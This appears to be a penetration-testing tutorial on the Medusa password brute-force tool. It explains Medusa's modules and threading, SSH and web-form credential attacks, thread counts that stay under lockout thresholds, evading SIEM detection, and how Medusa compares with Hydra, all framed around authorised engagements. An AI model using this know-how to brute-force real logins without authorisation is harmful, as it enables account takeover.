Medusa Tutorial Kali Linux 2026 — Parallel Brute Force for SSH, FTP, HTTP & 20+ Protocols | Tools Day20

How Medusa Works — Parallel Architecture and Module System

Before you run a single command, understand the architecture — it changes how you construct your attacks. Medusa separates the core engine from the protocol-specific modules. Each module handles one protocol (SSH, FTP, HTTP, SMB, RDP, LDAP, etc.) is implemented as a separate module, allowing Medusa to support new services by adding modules without changing the core engine. Run medusa -d to list all installed modules on your Kali system. Each module handles the specific authentication flow for its protocol, including the handshake, credential submission format, and success/failure detection logic.

The parallelism model is thread-based. Medusa spawns a pool of worker threads, each handling a separate authentication attempt simultaneously. The -t flag controls the total number of parallel threads across all hosts. The -T flag controls threads per host when attacking multiple targets simultaneously. This architecture means Medusa’s speed scales with thread count and CPU cores — on a modern multi-core system with a fast network connection, Medusa can test thousands of credentials per minute against protocols with low per-attempt overhead.

Core Syntax and Essential Flags

Medusa’s syntax follows a consistent pattern across all modules. The minimum required flags are: -h (target host), credentials (either single values with -u/-p or list files with -U/-P), and -M (the module/protocol). All other flags modify behaviour — thread count, output format, module-specific options.

SSH Brute Force with Medusa

SSH is the most common Medusa target in penetration testing because SSH is exposed on virtually every Linux server and many network devices. The SSH module handles the protocol handshake automatically — you only need to specify the target, credentials, and thread count. The primary consideration for SSH brute force is thread count: SSH servers commonly implement rate limiting and tools like fail2ban monitor SSH authentication failures. Setting too many threads triggers blocking after a small number of attempts. For authorised assessments, start with 2-4 threads and verify the client’s lockout policy before increasing.

HTTP Form Brute Force

The web-form module is Medusa’s most configuration-intensive but also one of its most valuable. It sends POST requests to a web login form, substituting username and password wordlist entries into the form parameters. To configure it correctly you need three pieces of information: the login form’s POST URL path, the POST parameter names for username and password (from inspecting the form source), and the string that appears in the response body on a failed login attempt. Medusa uses the failure string to detect unsuccessful attempts — any response not containing that string is treated as a success.

Thread Control and Lockout Avoidance

Thread count is the most important operational consideration when using Medusa in authorised penetration tests. Too many threads against a service with account lockout policy can lock out the administrator account — creating an incident and potentially more work than the assessment was intended to find. Too few threads and the attack takes so long it becomes impractical in a time-boxed assessment. The correct answer depends on what you know about the target’s lockout policy, which should be determined before running any brute force in a real engagement.

As a practical starting point: SSH with fail2ban = 2-4 threads maximum, with a 1-second wait. HTTP forms with no visible lockout = 4-8 threads. FTP = 4-6 threads. RDP = 2-4 threads (Windows RDP has aggressive lockout by default). SMB = 2-3 threads (Active Directory lockout policies are common). If the rules of engagement allow it, ask the client for their lockout threshold before starting credential testing — knowing “5 failed attempts locks for 30 minutes” immediately tells you to stay well below 5 attempts per account, which may mean running user/pass combinations differently from a pure password spray.

Medusa vs Hydra — Choosing the Right Tool

Both Medusa and Hydra are standard Kali Linux tools for network login brute force, and they overlap significantly in capability. The practical differences that affect tool choice are: Hydra has broader protocol support (including Oracle, Cisco enable, and some protocols Medusa lacks). Medusa’s parallel architecture is more efficient for single-host multi-credential attacks. Hydra’s multi-host parallelism is more efficient for subnet-wide credential spraying. Hydra’s HTTP form syntax is more flexible for complex forms with CSRF tokens. Medusa’s output is simpler and easier to parse programmatically.

Using Medusa on Real Engagements — What the Tutorials Skip

Here’s what changes when you move from a lab environment to a real penetration test. In a lab, you run Medusa against localhost. On an engagement, you have three constraints that shape every decision: detection risk, connection limits, and scope.

Detection risk is the one most beginners ignore completely. Medusa by default runs as many parallel connections as you ask for, as fast as the target allows. On a corporate SSH service with a SIEM watching for brute force patterns, you’ll trigger alerts in minutes. The -t flag controls connections per host — I run -t 2 or -t 3 against anything with monitoring. Slow and quiet beats fast and flagged every time.

Connection limits matter on services like SMTP, where the server enforces rate limits independently of Medusa’s settings. If the service drops connections after five failed attempts per IP, your -t 10 setting does nothing useful — you’re just hitting the limit faster. Read the service documentation before you tune the thread count.

Scope is non-negotiable. Medusa with a subnet range will happily go after every host in that range. Before any scan, verify your IP target list against the signed scope document. Out-of-scope brute force is not a technicality — it’s an unauthorised access attempt regardless of whether the system is on the same network segment as an in-scope target.

One habit worth building now: always use -O to write results to a file during engagements. Terminals get cleared, SSH sessions time out, VPN connections drop. If Medusa finds credentials at 2am and your terminal history is gone by 8am, the -O log is what you submit in your report. Make it automatic.